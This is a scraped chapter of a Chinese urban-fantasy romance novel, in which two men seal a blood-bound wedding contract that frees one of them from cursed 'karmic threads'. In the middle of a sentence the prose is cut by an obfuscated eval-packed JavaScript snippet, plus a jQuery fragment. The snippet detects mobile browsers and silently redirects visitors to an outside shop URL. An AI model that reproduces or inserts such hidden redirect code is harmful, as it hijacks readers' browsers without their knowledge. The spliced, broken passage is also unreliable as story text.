杨崇:……

    杨崇面无表情一脚踩下了油门。

    被忽然提速带得身体晃动,季连棠却笑得很开心,看着杨崇因为紧绷更显冷硬的下颌线,总算觉得扳回了一局。

    黄昏吉时,两人在东南的茶室摆上香案香炉,用艾草沐浴后,换上婚服。

    现成的婚服做得不算精致,底衣为白色,用银丝暗绣云纹;中衣为大红色斜襟长袍,领口用彩绣织并蒂莲和宝相花纹;外袍则是黑色的对襟大衫,以金丝银线绣龙凤纹和海水江崖纹。

    非常普通的形制,穿在对方身上却足够令人惊艳。

    两人对视一眼,齐齐转开了目光,然后又故作镇定地转回来。也不知是真坦然,还是欲盖弥彰,毫不顾忌把对方从头到脚看了个遍。

    季连棠先开口:“挺好看的。”

    杨崇回应:“你也是。”

    季连棠嘴角微抽,嗯,他们好像是第三次互夸对方好看了,也是成商业互吹搭子了。

    香案前,杨崇展开织金册子,提笔问:“你来,我来?”

    “你来吧。”季连棠推开那支横在两人之间的笔:“我也不知道婚书该写什么。”

    杨崇便“嗯”了一声,提笔沾墨,略思索了几秒才下笔。

    季连棠看他眉眼专注,唇线紧抿,比之放松时更为冷峻端肃,神思莫名有些游离。等杨崇将婚书递给他,才知他已经写完了。

    红绸纸上墨痕遒劲、笔锋凌厉,季连棠不由念出声:

    “天地为证,日月见盟。与君成契,白首心同。连枝共命,无我无分。生死相契,魂灵长依……”

    末尾是两个并排相依的名字。

    墨痕尚未干,杨崇便拿出一根银针:“还需要我们的血押。”

    季连棠稍稍侧了身避开,将婚书递给他:“不急,你先念给我听听。”

    杨崇不明所以,但还是接过,念了一遍:“天地为证,日月……”

    冷质低沉的声线,带着奇特的韵律,字字句句认真、笃定得能烙进人心里。杨崇念完,低眸看他,像是在等待他的下一个要求。

    季连棠却只是盯着他的脸,轻轻摇了摇头,似笑非笑道:“你这人还真是人不可貌相,我以为你只会噎人呢,没想到还这么会写情话。就是‘生死相契,魂灵长依’听起来病病的……你不会那种只要喜欢,就死也不分手的类型吧?”

    杨崇:……

    杨崇无语地将婚书放回案上:“手给我。”

    季连棠便闭了嘴,乖乖将手递给他,扬起的唇角怎么都压不下来,他感觉自己好像多了什么奇怪的爱好。

    两人的血液滴落在婚书上,血押既成,杨崇揭开香炉,将婚书投入其中。

    袅袅烟雾中,两人相对而立,杨崇用指间血在季连棠眉心轻点:“与君定契,约为婚姻。敬告天地,九死无悔。”

    季连棠也学着他,将指间未干的血液点在他眉心:“九死无悔。”

    最后一个字音落下,季连棠似乎听到了极为浩瀚而缥缈的声音,回荡在苍穹云海之上、天地群峰之间:礼成!

    一瞬间,他又看到了从他身上延伸出去的,足以遮天蔽日的黑色丝线。无论看几次,他都抑制不住心中的恐惧。这是普通人发现自己早被钉死在棺材中时,生理、心理上本能会产生的恐惧,根本无法控制。

    而在礼成的这一刻,黑线形成的茧忽然被暗红色的血光冲开,消散在空气中。季连棠感觉自己像是从沼泽里回到地面,又像是从小被戴上枷锁的小象,第一次摆脱镣铐,除了轻松,还有无所适从。

    杨崇似乎也感觉不错,语气都比之前放松:“有我的气运在,这些因果线暂时无法影响你。”

    久久没听到回应,他转头观察季连棠周身的情况,见没出错,才问:“还好吗?”

    “……很好。”

    季连棠回神,深深看了他一眼,又垂下眼睫,视线像是飘向了遥远岁月的另一端。右手摸向自己的心脏位置,轻声低喃:“原来真的不正常啊……”

    从小季连棠就觉得自己不太正常,比起村里的其他孩子,太过“娇气”。

    在农村,五岁的孩子都能帮家里干些活,他却什么都做不好。捡个柴累得气喘吁吁,烧个灶会觉得喘不过气,放牛连牛都追不上,甚至走路都觉得累。

    季连芳花了一年的积蓄带他去城里检查,结果非常健康。又怀疑是不是被脏东西缠上,找村里的观花娘看水碗,喝了些符水也不见效果。

    科学、玄学都试过,花了不少钱,折腾一通也没个结果,倒是让村里人看了笑话。

    “别人都说是我贪玩不懂事,故意撒谎装病呢。”

    季连棠回忆起当时的情形,村里人别说没病了,就是有病也都是拖到忍不得才可能去医院,也就季连芳舍得为他一句话就到处折腾。为此嚼舌根的不少,说寡妇带娃就是太溺爱,他小时候就这样躲懒撒谎,长大还指不定怎么样。

    季连芳为此没少和人吵架,几次还差点打起来。

    “现在看来,我是因为这些因果线才会那样啊。”

    “我说过,你的命运从小就被别人改了。其实我有点好奇——”

    杨崇语气中还是第一次有如此明显的困惑:“背负那么多黑色因果,你怎么还能行动如常?”

    “原来还有你不知道的事。”季连棠微微扬起唇角。

    “我并没有在你身上看到,有助于缓解这些压力的玄门手段……”

    “你想复杂了,天师先生。”

    季连棠打断他的话,理所当然道:“因为检查说我身体没问题,我就以为人人都和我一样,身体本来就该是这么沉重呢。他们都能跑能跳能干活,那我怎么能比不上他们?

    不如其他小孩干活快,那就干得时间长一些。背不动柴火,那一次少背一点,多背几次。等适应了,每次都增加一点重量,这样过了十来年,我习惯了,体力和耐力也慢慢锻炼出来了。”

    “……就这么简单?”

    “就这么简单。”

    季连棠矜傲地微微仰起脸,他本就生得精致,眉心那点朱砂似的血印更衬得容颜无双:“天师大人,世界上,也是有咱们普通人单靠意志能做到的事的。”

    “……受教了。”

    杨崇幽冷的瞳孔泛起了一点蓝,看着眼前人移不开目光。

    从小被那么多因果线吸取气运,按常理,就算季连棠气运强大一时死不了,也会被压得身体虚弱,甚至常年卧床。可这个人却说他习惯了,靠意志活成了普通人,就算有非凡气运加持,能

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831259|211340||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    做到这地步也足够令人惊叹。

    到底是因为他是天道命定的主角,才被赋予了这份能突破常理的意志。还是说正因为他拥有这份意志,才能够成为主角呢?

    “我还是第一次觉得这么轻松,感觉走路都有些发飘呢。”

    季连棠忍不住伸了伸胳膊,原地转了一圈,语调是从未有过的轻快:“心脏也没有闷痛感,连呼吸都好轻松。你感觉怎么样?还会死吗?”

    他获得了好处,自然也关心起杨崇的情况。话音落下,就觉眼前一花,这次,他看到了杨崇身上的线。

    黑线的数量不多,但粗得跟锁链似的,掺着丝丝缕缕的血色,非常诡异,每一根都伸向地下,像是无数只手想要将他拽入深渊。但同时也有成千上万根金色的丝线,伸向远方,抵抗着黑线的拉力。

    “金色的线?”季连棠不自觉问出口。

    “功德线,我救了人,却未收任何报酬,就能得到这种因果线,能帮我抵消死劫。”

    杨崇解释,又道,“当然,现在和你共享气运,只要你没死,我就不会死。”

    “那就好。”

    季连棠安心了,既然是基于利益建立的关系,当然双方都能从对方身上获利,才更稳固。又好奇:“我以后也能看到别人身上的线吗?”

    这种通过因果线看人的方式直观又新奇,但也有些怪异。就跟真实世界被解构成了无数数据代码,令人很不舒服。

    “不,这是我的力量,除非我主动借给你。不然也只有现在婚契初成,你才能随意使用一会儿。”

    季连棠松了口气,心里不再想看后,眼前的一切果然恢复了正常。

    “这个给你。”

    一张黑卡递到了眼前,季连棠一愣:“什么意思?”

    这种黑卡他当然知道,银行针对储蓄上九位数的大客户特制的。

    “和星辉解约,然后成立自己的工作室。我说这家公司克你,是认真的。”

    杨崇道:“虽然表面看起来对你不错,但你的口碑是在进入星辉后才迅速下滑,背后一定有问题。”

    季连棠思索了两秒,点点头认可了他的说法。接过那张黑卡在指间把玩了两圈,看杨崇的眼神玩味起来:“不是说要让我养你?怎么现在换你养我了,看不出来啊,你这么有钱。”

    “私活赚的。”杨崇很淡定。

    “行吧。”

    季连棠也不深究,他虽然只认识杨崇一个天师,但看这几日的情况就知道他的厉害。想来他或许在某些有钱人的圈子很有名,赚钱自然容易。

    但……

    “要成立工作室,不是只有钱就可以的,还需要人脉。还有解约要找专业律师也需要时间,我在圈内……嗯,你知道的。”

    “没关系,我有。”

    “啊?”季连棠奇了:“你在娱乐圈也有人脉?我之前怎么没听说过你?”

    “我说过,为了化解死劫,我救过不少人。”

    杨崇揭开香炉,婚书已经烧成了一堆金红相间的灰烬,他从怀里拿出锦囊将之收了起来:“或者,你有看中的,我也可以现在去认识。”

    季连棠:……

    季连棠被他这让人幻视内娱交际花的言论给惊呆了,刚要开口调侃,手机就响了起来。